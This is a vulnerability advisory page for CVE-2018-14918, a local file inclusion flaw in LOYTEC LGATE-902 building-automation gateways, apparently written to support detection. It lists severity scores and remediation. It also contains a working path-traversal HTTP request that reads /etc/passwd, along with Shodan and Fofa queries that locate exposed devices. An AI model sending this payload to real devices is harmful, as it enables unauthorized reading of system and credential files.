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CVE-2018-14918: LOYTEC LGATE-902 6.3.2 - Local File Inclusion

TitleLOYTEC LGATE-902 6.3.2 - Local File Inclusion
Author0x_Akoko
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
RemediationApply the latest firmware update provided by LOYTEC to fix the LFI vulnerability.
CVSS Score7.5
EPSS Score0.73138
CVE IDCVE-2018-14918
CWE IDCWE-22
Shodan Queryhttp.html:"LGATE-902"http.html:"lgate-902"
Fofa Querybody="lgate-902"
Tags cve cve2018 loytec lfi seclists packetstorm lgate xss vkev vuln

🔍 Vulnerability Description

LOYTEC LGATE-902 6.3.2 is susceptible to local file inclusion which could allow an attacker to manipulate path references and access files and directories (including critical system files) that are stored outside the root folder of the web application running on the device. This can be used to read and configuration files containing, e.g., usernames and passwords.

🌐 HTTP Request

GET /webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-14918.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-14918.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A